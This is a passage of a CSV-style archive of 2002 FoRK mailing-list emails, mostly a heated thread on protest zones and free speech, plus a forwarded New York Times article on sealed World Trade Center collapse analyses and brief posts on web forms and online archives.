http://www.jwz.org/gronk/ meets your needs. Udhay -- ((Udhay Shankar N)) ((udhay @ pobox.com)) ((www.digeratus.com))",0,1 Michael ,"discussion@mlug.missouri.edu, , ","Sun, 29 Sep 2002 13:43:35 -0500 (CDT)",A moment of silence for the First Amendment (fwd),http://www.post-gazette.com/columnists/20020905brian5.asp,0,1 khare@alumni.caltech.edu,fork@spamassassin.taint.org,"Mon, 30 Sep 2002 08:24:23 -0400 (EDT)",NYTimes.com Article: Vast Detail on Towers' Collapse May Be Sealed,"This article from NYTimes.com has been sent to you by khare@alumni.caltech.edu. Another reminder that the moral writ of intellectual property is -- and ought to --be more limited than real property. Private money paid for these bits, but expropriation may be fairer for IP than real-P. Rohit khare@alumni.caltech.edu Vast Detail on Towers' Collapse May Be Sealed September 30, 2002 By JAMES GLANZ and ERIC LIPTON What is almost certainly the most sophisticated and complete understanding of exactly how and why the twin towers of the World Trade Center fell has been compiled as part of a largely secret proceeding in federal court in Lower Manhattan. Amassed during the initial stages of a complicated insurance lawsuit involving the trade center, the confidential material contains data and expert analysis developed by some of the nation's most respected engineering minds. It includes computer calculations that have produced a series of three-dimensional images of the crumpled insides of the towers after the planes hit, helping to identify the sequence of failures that led to the collapses. An immense body of documentary evidence, like maps of the debris piles, rare photos and videos, has also been accumulated in a collection that far outstrips what government analysts have been able to put together as they struggle to answer the scientifically complex and emotionally charged questions surrounding the deadly failures of the buildings. But everyone from structural engineers to relatives of victims fear that the closely held information, which includes the analysis and the possible answers that families and engineers around the world have craved, may remain buried in sealed files, or even destroyed. Bound by confidentiality agreements with their clients, the experts cannot disclose their findings publicly as they wait for the case to play out. Such restrictions are typical during the discovery phase of litigation. And as it now stands, the judge in the case - who has agreed that certain material can remain secret for the time being - has approved standard legal arrangements that, should the lawsuit be settled before trial, could cause crucial material generated by the competing sides to be withheld. ""We're obviously in favor of releasing the information, but we can't until we're told what to do,"" said Matthys Levy, an engineer and founding partner at Weidlinger Associates, who is a consultant in the case and the author of ""Why Buildings Fall Down: How Structures Fail"" (Norton, 2nd edition, 2002). ""Let's just say we understand the mechanics of the whole process"" of the collapse, Mr. Levy said. Monica Gabrielle, who lost her husband, Richard, when the south tower fell and who is a member of the Skyscraper Safety Campaign, said the information should be disclosed. ""If they have answers and are not going to share them, I would be devastated,"" Mrs. Gabrielle said. ""They have a moral obligation."" The lawsuit that has generated the information involves Larry A. Silverstein, whose companies own a lease on the trade center property, and a consortium of insurance companies. Mr. Silverstein maintains that each jetliner that hit the towers constituted a separate terrorist attack, entitling him to some $7 billion, rather than half that amount, as the insurance companies say. As both sides have prepared their arguments, they have spent hundreds of thousands of dollars acquiring expert opinion about exactly what happened to the towers. Dean Davison, a spokesman for Industrial Risk Insurers of Hartford, one of the insurance companies in the suit, said of the findings, ""There are some confidentiality agreements that are keeping those out of the public domain today."" He conceded that differing opinions among the more than 20 insurers on his side of the case could complicate any release of the material. As for his own company, whose consultants alone have produced more than 1,700 pages of analysis and thousands of diagrams and photographs, Mr. Davison said every attempt would be made to give the material eventually to ""public authorities and investigative teams."" Still, some of that analysis relies on information like blueprints and building records from other sources, like the Port Authority of New York and New Jersey, which built and owned the trade center and supports Mr. Silverstein in the suit. Mr. Davison said he was uncertain how the differing origins of the material would influence his company's ability to release information. In a statement, the Port Authority said access to documents would be ""decided on a case-by-case basis consistent with applicable law and policy,"" adding that it would cooperate with ""federal investigations."" The fate of the research is particularly critical to resolve unanswered questions about why the towers fell, given the dissatisfaction with the first major inquiry into the buildings' collapse. That investigation, led by the Federal Emergency Management Agency, was plagued by few resources, a lack of access to crucial information like building plans, and infighting among experts and officials. A new federal investigation intended to remedy those failings has just begun at the National Institute of Standards and Technology, or NIST, an agency that has studied many building disasters. Officials with NIST have said it could take years to make final determinations and recommendations for other buildings, a process they now acknowledge might be speeded up with access to the analysis done by the consultants on the lawsuit. Gerald McKelvey, a spokesman for Mr. Silverstein, said of the real estate executive's own heavily financed investigative work, ""We decline to comment other than to say that Silverstein is cooperating fully with the NIST investigation."" A spokesman for the agency confirmed it was in discussions with Mr. Silverstein on the material, but said no transfer had taken place. With no shortage of money or expertise, investigations by both sides in the legal case have produced a startling body of science and theory, some of it relevant not only to the trade center disaster but to other skyscrapers as well. ""The work should be available to other investigators,"" said Ramon Gilsanz, a structural engineer and managing partner at Gilsanz Murray Steficek, who was a member of the earlier inquiry. ""It could be used to build better buildings in the future."" Legal experts say confidentiality arrangements like the one governing the material can lead to a variety of outcomes, from full or partial disclosure to destruction of such information. In some cases, litigants who paid for the reports may make them public themselves. Or they may ask to have them sealed forever. ""It is not unusual for one party or another to try to keep some of those documents secret for one reason or another, some legitimate, some not,"" said Lee Levine, a First Amendment lawyer at Levine Sullivan & Koch in Washington. Mr. Levine said that because of the presumed value of the information, the court might look favorably on requests to make it public. But the uncertainty over the fate of the material is unnerving to many people, especially experts who believe that only a complete review of the evidence - not piecemeal disclosures by litigants eager to protect their own interests - could lead to an advance in the federal investigation of the trade center. ""It's important for this to get presented and published and subjected to some scrutiny,"" said Dr. John Osteraas, director of civil engineering practice at Exponent Failure Analysis in Menlo Park, Calif., and a consultant on the case, ""because then the general engineering community can sort it out."" The scope of the investigation behind the scenes is vast by any measure. Mr. Levy and his colleagues at Weidlinger Associates, hired by Silverstein Properties, have called upon powerful computer programs, originally developed with the Pentagon for classified research, to create a model of the Sept. 11 attack from beginning to end. The result is a compilation of three-dimensional images of the severed exterior columns, smashed floor and damaged core of the towers, beginning with the impacts and proceeding up to the moments of collapse. Those images - which Mr. Levy is not allowed to release - have helped pinpoint the structural failures. The FEMA investigators did not have access to such computer modeling. Nor did the FEMA team have unfettered access to the trade center site, with all its evidence, in the weeks immediately after the attacks. But no such constraints hampered engineers at LZA/Thornton-Tomasetti, brought to the site for emergency work beginning on the afternoon of Sept. 11. Daniel A. Cuoco, the company president and a consultant to Silverstein Properties on the case, said he had assembled detailed maps of the blazing debris at ground zero in models that perhaps contain further clues about how the towers fell. Though the FEMA team could not determine ""where things actually fell,"" Mr. Cuoco said, ""we've indicated the specific locations."" Mr. Cuoco said he could not reveal any additional details of the findings. Nor would Mr. Osteraas discuss the details of computer calculations his company has done on the spread of fires in large buildings like the twin towers. Mr. Osteraas has also compiled an extensive archive of photographs and videos of the towers that day, some of which he believes have not been available to other investigators. And the investigation has not limited itself to computers and documentary evidence. For months, experiments in wind tunnels in the United States and Canada have been examining the aerodynamics that fed the flames that day and stressed the weakening structures. Jack Cermak, president of Cermak Peterka Peterson in Fort Collins, Colo., was retained by the insurance companies but had previously performed wind-tunnel studies for the original design of the twin towers nearly 40 years ago. For the legal case, Dr. Cermak said, ""we've done probably more detailed measurements than in the original design."" ""The data that have been acquired are very valuable in themselves for understanding how wind and buildings interact,"" Dr. Cermak said. ""Some of the information may be valuable for the litigation,"" he said, adding, ""I think I've told you all I can."" http://www.nytimes.com/2002/09/30/nyregion/30TOWE.html?ex=1034388663&ei=1&en=0d3143a997e5e2e1 HOW TO ADVERTISE --------------------------------- For information on advertising in e-mail newsletters or other creative advertising opportunities with The New York Times on the Web, please contact onlinesales@nytimes.com or visit our online media kit at http://www.nytimes.com/adinfo For general information about NYTimes.com, write to help@nytimes.com. Copyright 2002 The New York Times Company",0,1 Gregory Alan Bolcer ,Fork@xent.com,"Mon, 30 Sep 2002 07:03:37 -0700",Re: A moment of silence for the First Amendment (fwd),"Michael wrote: > > http://www.post-gazette.com/columnists/20020905brian5.asp I thought this nekkid URL was going to be about the infringement of 1st amendment rights for broadcasters and proposed campaign finanice restrictions preventing them from making money on advertisements that are deemed thinly veiled campaign contributions by some arbitrary government board. As it was posted to ""discussion"" I thought there'd be some. Instead it's a Post-Gazette column by Brian O'Neill lamenting the fact that some people know how to fill out a permit so that they can take advantage of their right to peaceable assembly. Obviously he's poking fun at the idea that specific groups get specific ""zones"" and that it's not up to the police to decide what messages and signs get put into what zones to most expediently keep order. The problem is that politics have gotten so muddied nowadays, that shouting down and unpeaceably disrupting political rallies that you don't agree with has become common practice. The courts have constantly ruled that there are some restrictions on the first amendment. They teach you that your very first year of law school. I think that given the information as laid out by the story, Mr. O'Neill has confused free speech with action. Free speech or even protected speech as practiced by almost every American seems to involve the ability to communicate an idea to an unknown audience. Action involves directing a specific comment to a specific well-defined individual or audience that has immediate, harmful, and sometimes physical effects that is easily forseeable by any reasonable person. I think Bill Neel of Butler needs to go back to school as obviously he must have been sleeping in his civics class or else they didn't teach civics in mini-guantanamo, OH 65 years ago. Greg",0,1 Gregory Alan Bolcer ,Fork@xent.com,"Mon, 30 Sep 2002 07:42:38 -0700",Re: A moment of silence for the First Amendment (fwd),"Owen Byrne wrote: > What a load of crap. Politics are somehow more muddy now? I'd say that > its considerably > clearer - the vast majority of people feel disenfranchised, and the > common practice of > putting protestors in boxes is done usually to hide them from TV > cameras, visiting dignitaries, > etc, further exacerbating those feelings. > ""Unpeaceably disrupting political rallies"" is now usually done by police > with riot gear and pepper spray. > > We had a good one here a month or so ago - a few people peaceably > strayed from the permit area, > which was nearly a mile from the site of the meeting of finance > ministers held here (the motorcade drove > by it for about 10 seconds), and were immediately gassed, beaten and > arrested. Not very muddied at all. What does that exactly have to do with the statement that distruption of peacable political assembly has become a common practice disruption tool? It's an observation not a judgement, comment, approval. You've focused on the word ""muddy"" to use it in a different context than the one I posted. Maybe the distinction I was trying to make was too subtle and I was trying to be too clever with my writing this morning. Let me summarize the important parts of my post for you: I have a premise that there is a difference between free and protected speech and action. I think O'Neill on his soapbox doesn't understand the distinction. All better? Greg",0,0 bitbitch@magnesium.net,Gregory Alan Bolcer ,"Mon, 30 Sep 2002 11:08:21 -0400",Re[2]: A moment of silence for the First Amendment (fwd),">> >> http://www.post-gazette.com/columnists/20020905brian5.asp GAB> I thought this nekkid URL was going to be about the GAB> infringement of 1st amendment rights for broadcasters GAB> and proposed campaign finanice restrictions preventing them GAB> from making money on advertisements that are deemed GAB> thinly veiled campaign contributions by some arbitrary GAB> government board. As it was posted to ""discussion"" I GAB> thought there'd be some. GAB> Instead it's a Post-Gazette column by Brian O'Neill GAB> lamenting the fact that some people know how to GAB> fill out a permit so that they can take advantage GAB> of their right to peaceable assembly. Obviously GAB> he's poking fun at the idea that specific groups GAB> get specific ""zones"" and that it's not up to the GAB> police to decide what messages and signs get put into GAB> what zones to most expediently keep order. Oh thats right Greg. Because was explicitly clear that the pro-Bush folks went out and did the permit dance. So where in the article is this again? Lets get something straight here. This -is- a First Amendment issue. Public streets, provided one isn't blocking traffic, generally tend to be sorta ok, at least from my last interpretation of Con Law a few years ago (I'll feign ignorance wrt the fact that laws may have changed, and the specific facts in this case are weak). IF this guy _was_ merely holding a sign (which it seems was the case for all the pro-bush folks) he did nothing wrong. He certainly didn't do enough of a wrong to warrant a disorderly conduct charge. I'll play with your perspective though. Lets assume a few things. If I walk into the city office and tell them I want to peacably assemble against Bush, do you think they'll give me a permit? Probably not. So I lie. Then the cop does what happened in this scenario. HE walks up, checks my permit and finds out that I falsified my statement to get this said document. He arrests me. End of story. GAB> The problem is that politics have gotten so muddied GAB> nowadays, that shouting down and unpeaceably disrupting GAB> political rallies that you don't agree with has become GAB> common practice. The courts have constantly ruled GAB> that there are some restrictions on the first amendment. GAB> They teach you that your very first year of law school. I'll agree with Owen on this one. Muddied my ass. How hard is it to chose between a Republocrat or a Demipublican? Not very. Shouting down has grown to become the answer because the government, over a span of years, and with the help of the Courts -has- limited the rights we have as citizens under the First Amendment. If you question the policy about terrorism, or drugs, or Iraq, or Bush in general, you're aiding terrorism. If you challenge the beliefs of the folks attending the various shadowy G8 conferences, you're an anarchist, and you're herded off to a 'designated protest spot' miles away from anything. Part of the point of speech is to be -heard-. I can scream on my soapbox in the forest somewhere, and while thats speech, its not effective speech. People are screaming and shouting over the political figures because they cannot be heard in any other way. GAB> I think that given the information as laid out by the story, GAB> Mr. O'Neill has confused free speech with action. Free GAB> speech or even protected speech as practiced by almost GAB> every American seems to involve the ability to communicate GAB> an idea to an unknown audience. Action involves directing GAB> a specific comment to a specific well-defined individual or audience GAB> that has immediate, harmful, and sometimes physical GAB> effects that is easily forseeable by any reasonable person. Getting back to my original point. How do you communicate an idea to an unknown audience, if you're miles from where the audience is? How do you bypass the rules for being -miles- away from the audience without violating the rules of the regime? I don't think Mr. Nell was throwing pies at Bush. A sign, the last time I checked, didn't cause physical injury, or even emotional harm. If I remember Cohen v. California, 403 U.S. 15 (1971), its not the individual speaking that has the requirement to desist, but the individual listening who has the option to leave. Just my .02, while its still considered legal. -- Best regards, bitbitch mailto:bitbitch@magnesium.net",0,1 """Bill Stoddard"" ","""Fork@Xent.Com"" ","Mon, 30 Sep 2002 11:33:47 -0400",RE: A moment of silence for the First Amendment (fwd),"> The problem is that politics have gotten so muddied > nowadays, that shouting down and unpeaceably disrupting > political rallies that you don't agree with has become > common practice. The courts have constantly ruled > that there are some restrictions on the first amendment. > They teach you that your very first year of law school. > I don't think politics is any muddier. People are becoming increasingly unethical. It's a breakdown in home training. Bill",0,0 Owen Byrne ,gbolcer@endeavors.com,"Mon, 30 Sep 2002 11:31:15 -0300",Re: A moment of silence for the First Amendment (fwd),"Gregory Alan Bolcer wrote: >at zones to most expediently keep order. > >The problem is that politics have gotten so muddied >nowadays, that shouting down and unpeaceably disrupting >political rallies that you don't agree with has become >common practice. The courts have constantly ruled >that there are some restrictions on the first amendment. >They teach you that your very first year of law school. > > What a load of crap. Politics are somehow more muddy now? I'd say that its considerably clearer - the vast majority of people feel disenfranchised, and the common practice of putting protestors in boxes is done usually to hide them from TV cameras, visiting dignitaries, etc, further exacerbating those feelings. ""Unpeaceably disrupting political rallies"" is now usually done by police with riot gear and pepper spray. We had a good one here a month or so ago - a few people peaceably strayed from the permit area, which was nearly a mile from the site of the meeting of finance ministers held here (the motorcade drove by it for about 10 seconds), and were immediately gassed, beaten and arrested. Not very muddied at all. Owen",0,0 Eugen Leitl ,forkit! ,"Mon, 30 Sep 2002 17:38:14 +0200 (CEST)",MIT OpenCourseWare,"Looks useful. Hopefully, they'll put up some more material soon. http://ocw.mit.edu/global/all-courses.html",0,1 """Bill Stoddard"" ","""Fork@Xent.Com"" ","Mon, 30 Sep 2002 11:45:16 -0400",RE: Re[2]: A moment of silence for the First Amendment (fwd),"> > GAB> The problem is that politics have gotten so muddied > GAB> nowadays, that shouting down and unpeaceably disrupting > GAB> political rallies that you don't agree with has become > GAB> common practice. The courts have constantly ruled > GAB> that there are some restrictions on the first amendment. > GAB> They teach you that your very first year of law school. > > I'll agree with Owen on this one. Muddied my ass. How hard is it to > chose between a Republocrat or a Demipublican? Not very. Shouting > down has grown to become the answer because the government, over a > span of years, and with the help of the Courts -has- limited the > rights we have as citizens under the First Amendment. Wishful thinking. People are just bigger dickheads now. Culture is changing and it is becoming acceptable to get in peoples face and shout them down when you disagree with them. The people that do this are NOT disenfranchised. They get their rocks off on being disagreeable assholes. The act of protesting is more important than the actual issue being protested for most of these people. > question the policy about terrorism, or drugs, or Iraq, or Bush in > general, you're aiding terrorism. If you challenge the beliefs of > the folks attending the various shadowy G8 conferences, you're an > anarchist, and you're herded off to a 'designated protest spot' miles > away from anything. Part of the point of speech is to be -heard-. > I can scream on my soapbox in the forest somewhere, and while thats > speech, its not effective speech. People are screaming and shouting > over the political figures because they cannot be heard in any other > way. And where does this end? Shouting down speakers is an obviously stupid tactic if they are -really- interested in advocating change. Are they such clueless social morons that they don't see this or are they just interested in stroking their pathetic egos? OBTW, 'clueless social moron syndrom' does not have political boundaries. Bill",0,0 Rodent of Unusual Size ,Flatware or Road Kill? ,"Mon, 30 Sep 2002 12:08:14 -0400",Re: A moment of silence for the First Amendment (fwd),"Bill Stoddard wrote: > > Wishful thinking. People are just bigger dickheads now. nah, they've always been this way. > Culture is changing and it is becoming acceptable to get in > peoples face and shout them down when you disagree with them. culture changing, yeh. 'those who fail to learn from history..' what does it tell you when a market chain is named 'bread and circus' and no-one twigs? -- #ken P-)} Ken Coar, Sanagendamgagwedweinini http://Golux.Com/coar/ Author, developer, opinionist http://Apache-Server.Com/ ""Millennium hand and shrimp!""",0,1 bitbitch@magnesium.net,Owen Byrne ,"Mon, 30 Sep 2002 12:22:28 -0400",Re[2]: A moment of silence for the First Amendment (fwd),">> >>Wishful thinking. People are just bigger dickheads now. Culture is changing >>and it is becoming acceptable to get in peoples face and shout them down >>when you disagree with them. The people that do this are NOT >>disenfranchised. They >>get their rocks off on being disagreeable assholes. The act of protesting is >>more important than the actual issue being protested for most of these >>people. >> >> OB> In my experience, this is classic ""American"" behaviour, and I don't OB> think its on the increase outside of the US of A. OB> I am willing to accept the premise that Americans are bigger dickheads OB> then they used to be. *sighs* Right. Because Americans are the only people capable of being assholes. Shit. History keeps fucking up when they keep mentioning all the historical examples of dickhead-ness that have proceeded the US. After all, we're the only country who gets unruly when it comes to issues. Thats why its always just the Americans at those crazy WTO meetings... Right, Owen? -- Best regards, bitbitch mailto:bitbitch@magnesium.net",0,0 Owen Byrne ,bitbitch@magnesium.net,"Mon, 30 Sep 2002 13:51:18 -0300",Re: A moment of silence for the First Amendment (fwd),"bitbitch@magnesium.net wrote: >>>Wishful thinking. People are just bigger dickheads now. Culture is changing >>>and it is becoming acceptable to get in peoples face and shout them down >>>when you disagree with them. The people that do this are NOT >>>disenfranchised. They >>>get their rocks off on being disagreeable assholes. The act of protesting is >>>more important than the actual issue being protested for most of these >>>people. >>> >>> >>> >>> >OB> In my experience, this is classic ""American"" behaviour, and I don't >OB> think its on the increase outside of the US of A. >OB> I am willing to accept the premise that Americans are bigger dickheads >OB> then they used to be. > >*sighs* > >Right. Because Americans are the only people capable of being >assholes. Shit. History keeps fucking up when they keep mentioning >all the historical examples of dickhead-ness that have proceeded the >US. > >After all, we're the only country who gets unruly when it comes to >issues. Thats why its always just the Americans at those crazy WTO >meetings... Right, Owen? > > > > > A flippant remark that I will probably regret - sure there's assholes everywhere. I just remember a lunch in Spain with a semi-famous American - I think we had about 10 nationalities at the table, and he managed to insult each of them within 15 minutes. A historical perspective makes me think that empires - Roman, British, Russian, American, whatever - produce a larger proportion of assholes than subject nations (and are more likely to have them in positions of authority). Owen",0,0 Owen Byrne ,Bill Stoddard ,"Mon, 30 Sep 2002 13:20:57 -0300",Re: A moment of silence for the First Amendment (fwd),"Bill Stoddard wrote: >>GAB> The problem is that politics have gotten so muddied >>GAB> nowadays, that shouting down and unpeaceably disrupting >>GAB> political rallies that you don't agree with has become >>GAB> common practice. The courts have constantly ruled >>GAB> that there are some restrictions on the first amendment. >>GAB> They teach you that your very first year of law school. >> >>I'll agree with Owen on this one. Muddied my ass. How hard is it to >>chose between a Republocrat or a Demipublican? Not very. Shouting >>down has grown to become the answer because the government, over a >>span of years, and with the help of the Courts -has- limited the >>rights we have as citizens under the First Amendment. >> >> > >Wishful thinking. People are just bigger dickheads now. Culture is changing >and it is becoming acceptable to get in peoples face and shout them down >when you disagree with them. The people that do this are NOT >disenfranchised. They >get their rocks off on being disagreeable assholes. The act of protesting is >more important than the actual issue being protested for most of these >people. > > In my experience, this is classic ""American"" behaviour, and I don't think its on the increase outside of the US of A. I am willing to accept the premise that Americans are bigger dickheads then they used to be. Owen",0,0 """Mr. FoRK"" ",,"Mon, 30 Sep 2002 10:19:12 -0700",Re: Re[2]: A moment of silence for the First Amendment (fwd),"----- Original Message ----- From: > People are screaming and shouting over the political figures because > they cannot be heard in any other way. What, are they illiterate? Mute? What's their problem? If somebody stops them from posting web pages, or printing newsletters, or talking on the phone, or organizing their /own/ conference then that would be wrong. I don't think free speech is a license to speak directly at and be in the physical presence of any particular individual of your choosing - especially when that individual is busy doing something else and isn't interested.",0,0 James Rogers ,fork@spamassassin.taint.org,30 Sep 2002 10:36:37 -0700,Re: A moment of silence for the First Amendment (fwd),"On Mon, 2002-09-30 at 09:20, Owen Byrne wrote: > In my experience, this is classic ""American"" behaviour, and I don't > think its on the increase outside of the US of A. In my experience, this protest behavior is really only an issue in ""ultra-liberal"" coastal cities, which is where I normally live. It is part of the culture and that behavior is viewed as acceptable. For comparison, contrast this with the character of the arguably more serious protests against Federal government abuse in the inter-mountain West. They have a very different idea of what constitutes acceptable protest practice. Those protests remain largely civil and polite, if heated and aggressive, and those involve a far greater percentage of the local population. And unlike 99% of the liberal coastal city protests I've seen, the people protesting in the inter-mountain West are actually facing immediate dire consequences from the activities they are protesting and are strongly motivated to protest in a manner that gets results. Some of their tactics, such as the practice of many businesses and restaurants in northern Nevada to not give service to anyone known to be in the employ of the BLM and related agencies, have been very effective at forcing dialog. I don't recall anyone characterizing their protests as impolite, rude, or violent, but then they have more to lose. -James Rogers jamesr@best.com",0,0 bitbitch@magnesium.net,"""Mr. FoRK"" ","Mon, 30 Sep 2002 13:59:49 -0400",Re[4]: A moment of silence for the First Amendment (fwd),"Hello Mr., Monday, September 30, 2002, 1:19:12 PM, you wrote: MF> ----- Original Message ----- MF> From: >> People are screaming and shouting over the political figures because >> they cannot be heard in any other way. MF> What, are they illiterate? Mute? What's their problem? If somebody stops MF> them from posting web pages, or printing newsletters, or talking on the MF> phone, or organizing their /own/ conference then that would be wrong. Perhaps /cannot be heard in any other way (period)/ was incorrect. What I meant, was a time-specific occurence. Sure, there are other means outside of the circumstance of the occurence. BUt until we're willing to eliminate the ability to speak in public -only- for the side that doesn't agree with the political force, and make that part of the 1st amendment, the parties -are- screaming and shouting over political figures because they cannot be heard (to those figures) in any other way. MF> I don't think free speech is a license to speak directly at and be in the MF> physical presence of any particular individual of your choosing - especially MF> when that individual is busy doing something else and isn't interested. Sure. And that goes back to my second argument -- Cohen. THey can walk away. NObody compells them to stand there, I'll agree fully. But we still have a Constitutional right to speak out against policies, actions and grievances. Again. If you want it another way, lets change the Constitution. -- Best regards, bitbitch mailto:bitbitch@magnesium.net",0,0 """Mr. FoRK"" ",,"Mon, 30 Sep 2002 11:46:26 -0700",Re: Re[4]: A moment of silence for the First Amendment (fwd),"----- Original Message ----- From: > the parties -are- screaming and shouting over > political figures because they cannot be heard (to those figures) in > any other way. The right to speak is not the same as the right to be heard by the audience of the speakers choice. Disruptive protests might be a means to create awareness - but that's a pretty lame way to do it. If it truly is the only way, then I'm all for it, but disruption for the sake of showing how committed the protesters are is pretty weak.",0,0 Dave Long ,fork@spamassassin.taint.org,"Mon, 30 Sep 2002 12:34:12 -0700",Re: EBusiness Webforms: cluetrain has left the station,"> > ... webforms /can/ > > accept ""U.S. of A"" as a country. Incredible, but true. Web forms can > > also accept /multiple/ or even /free-form/ telephone numbers ... Are the people who use procrustean web forms practices the same ones who don't accept faxes? When I *really* need to get something done, instead of just idle surfing, I call or fax. Faxing, like a web form, can be done 24x7; it allows me to give all the (and only the) pertinent info in a single place; it also provides a self-journalled correspondence, which means rollback is easy and replay is even easier. -Dave > Sure, tiled windows were the best we had for > a brief period of time, but they are completely useless > except for some terminal based replacement applications. I've been running a tiled (but somewhat overlapped, yielding a horizontal stack) window manager lately. Like filling in a web form, finding edges and shuffling windows may seem productive, but I find that having a window manager manage the windows means I can concentrate on what I want to do with their contents. ::::::::: ""dumb question: X client behind a firewall?"" > Back in my day, they didn't have ssh. Then again, back in my day, > they didn't have firewalls. Back in my day, when one changed computer installations, email would be forwarded as a courtesy. Now, we seem to have swung so far in the opposite direction that it makes sense to ditch addresses every couple of years to shed spam.",0,0 """Bill Kearney"" ",,"Mon, 30 Sep 2002 15:55:47 -0400",Re: A moment of silence for the First Amendment (fwd),"> From: Owen Byrne > A flippant remark that I will probably regret - > sure there's assholes everywhere. I just remember a lunch in Spain with > a semi-famous American - I think we had about 10 nationalities at the > table, and he managed to insult each of them within > 15 minutes. A historical perspective makes me think that empires - > Roman, British, Russian, American, whatever - produce > a larger proportion of assholes than subject nations (and are more > likely to have them in positions of authority). Yep, those that win battles collect tthe spoils. Lead and breed. Want it to be different? Lead, don't whine.",0,0 Eugen Leitl ,Tom ,"Mon, 30 Sep 2002 23:28:59 +0200 (CEST)",Re: Internet Archive bookmobile,"On Mon, 30 Sep 2002, Tom wrote: > If the set passes around enough then more people have these works. the > more folks that have them now, while they are still legal to have, the > likely they will be left behind in the possible/probabale copyright > chillout..and if that doesnt happen then more folks than not will still We will be getting BlackNet-like guerilla P2P pretty soon. Packaging it into wormcode with an initial userbase of a few 100 k to Mnodes gives you pretty bulletproof plausible deniability. > have it for uses all manner of shades.",0,0 """Bill Stoddard"" ","""Fork@Xent.Com"" ","Mon, 30 Sep 2002 17:46:11 -0400",RE: Re[4]: A moment of silence for the First Amendment (fwd),"> MF> I don't think free speech is a license to speak directly at > and be in the > MF> physical presence of any particular individual of your > choosing - especially > MF> when that individual is busy doing something else and isn't > interested. Yep. I agree 100% > > Sure. And that goes back to my second argument -- Cohen. THey can > walk away. NObody compells them to stand there, I'll agree fully. > But we still have a Constitutional right to speak out against > policies, actions and grievances. > > Again. If you want it another way, lets change the Constitution. Huh? Are you saying that whoever has the loudest voice gets to be heard? Shouting down a public speaker could be considered a form of censorship. If shouting down public speakers is 'protected' it is only a matter of time before the people doing the shouting have their tactic used against them -every single time they open their mouth-. The tactic is stupid and non-productive and if generally used, will only result in chaos. The tactic is just stupid ego-bation at best, unless the goal is to generate chaos. And humans whose goals and actions in life are to create chaos in society should be locked up (provided you can accurately identify them, which is not really possible anyway, but hey, this is my rant :-). IMHO. Bill",0,0 bitbitch@magnesium.net,"""Bill Stoddard"" ","Mon, 30 Sep 2002 18:29:31 -0400",Re[6]: A moment of silence for the First Amendment (fwd),"Hello Bill, Monday, September 30, 2002, 5:46:11 PM, you wrote: >> MF> I don't think free speech is a license to speak directly at >> and be in the >> MF> physical presence of any particular individual of your >> choosing - especially >> MF> when that individual is busy doing something else and isn't >> interested. BS> Yep. I agree 100% >> >> Sure. And that goes back to my second argument -- Cohen. THey can >> walk away. NObody compells them to stand there, I'll agree fully. >> But we still have a Constitutional right to speak out against >> policies, actions and grievances. >> >> Again. If you want it another way, lets change the Constitution. BS> Huh? Are you saying that whoever has the loudest voice gets to be heard? BS> Shouting down a public speaker could be considered a form of censorship. If BS> shouting down public speakers is 'protected' it is only a matter of time BS> before the people doing the shouting have their tactic used against BS> them -every single time they open their mouth-. The tactic is stupid and BS> non-productive and if generally used, will only result in chaos. The tactic BS> is just stupid ego-bation at best, unless the goal is to generate chaos. BS> And humans whose goals and actions in life are to create chaos in society BS> should be locked up (provided you can accurately identify them, which is not BS> really possible anyway, but hey, this is my rant :-). IMHO. BS> Bill No offense or anything, but there's a difference between holding a sign that doesn't agree with Bush and screaming at him. My sole point, as far as the 1st Amendment goes is that there is more to this game than just being an angry, liberal youth. (Which is the gross culmination of everyone's argument sofar) The screaming isn't the most effective method around. I don't believe I argued that it was. But screaming is happening because the means to communicate to the representatives involved are diminishing, at least as far as the people doing the screaming are concerned. For the record, I don't support the screamers in organized conferences (Such as the Colin Powell shout-down that was mentioned earlier). I don't think that this is what the 1st Amendment was implying. These folks -do- have a right to be heard, and I think they have a right to be heard by the folks they elected in the first place. My point, (my only point) was really more concerned with the cases such as Mr. Nell. He wasn't engaged (at least from the limited facts we have) in a shoutout, but rather in a difference of opinion. He has a right to possess this opinion and make it known to the representatives that are elected. A sign is not a shout-out. I think I may have missed (or not accurately addressed) the original thread switch that took this example and mixed in the screaming dissenters to the mix. I was mostly responding with my miffedness in having broad-brush strokes applied to a group without examining the policy reasons that might have contributed to it. IN this case, the screaming parties are fed up with getting corralled miles away from the folks they need to speak with. They're resorting to creative, offensive and constitutionally challengable means, but its not simply due to the fact that they're 20 and have lost all decorum. The 'My generation never did this ' is all BS. THere's more to this story, we just dont' know it all. I hope this clarifies my position. For the quick rehash: Screaming != Free speech on all cases. Dissent = Free speech, provided you follow what has been laid down by the Supremes. K? -- Best regards, bitbitch mailto:bitbitch@magnesium.net",0,0 Steve Nordquist ,fork@spamassassin.taint.org,"Mon, 30 Sep 2002 21:01:41 -0500",Re: EBusiness Webforms: cluetrain has left the station,"On Saturday 28 September 2002 04:37 pm, you struggled free to say: &> > Although it's like a total shock to 99.999% (5nines) of all the &> > employed website designers out there, the truth is webforms /can/ &> > accept ""U.S. of A"" as a country. Incredible, but true. Web forms can &> > also accept /multiple/ or even /free-form/ telephone numbers and can &> > even be partitioned into manageable steps. All this can also be done &> > without selling exclusive rights to your wallet to the World's &> > Second-Richest Corporation (assuming Cisco is still #1) and vendor &> > locking your business into their ""small transaction fee"" tithe. Think of all the people and places that would not get unsolicited mail if we hadn't invented them. Though perhaps ordering a free Enron mug as the King of Hell.... I think it's like P3P met whatever commercial /.like forum was rocking yesterday, and they took all Greg's extra serotonin and lit up and made a Successful go of personal address palettes you could occupy and own or rent and even move or sell. So you'd reply to all the whitepaper sites you wouldn't just call to get the real deal like: 'Okay, let's say I'm in Factorytown, GuangZhou, and I'm a battery acid supervisor for a multinational that sometimes buys B1s. e-mail me if you get your story written up all the way;' or 'Today, I'm a 200lb, 3m tall mophead with pearlecent teeth and excellent sex-linked features, but who uses Solaris nntp clients. Got it?' or merely 'I can't read Base64 messages. I use small alphabets and 8-letter words that didn't come from the bible and use calculus, and I'd thank you to class me as a Catamite.' &> Yes, but this is what normally happened: &> Engineer: we can put an input validator/parser on the backend to do that. &> ..... &> Creative Director: I don't give a shit. As long as it's in blue. And &> has a link to my press release. N3kk1D PRR3zzEw33Lz ahR 3V1L, but I thought it had to do with coldfusion-compatiblie plugins (servlets, whatever) that overhyped unimplemented features. Repeatedly. Openly. In rakish 10MB branding-first downloads that meshed well with budgeting policies.",0,0 """Russell Turpin"" ",Fork@xent.com,"Tue, 01 Oct 2002 04:31:01 +0000",Re: A moment of silence for the First Amendment & Angry Liberal Yutes,"Gregory Alan Bolcer: >I'm not sure since I haven't attended civics class >in quite some time, but the First Amendment doesn't cover protected 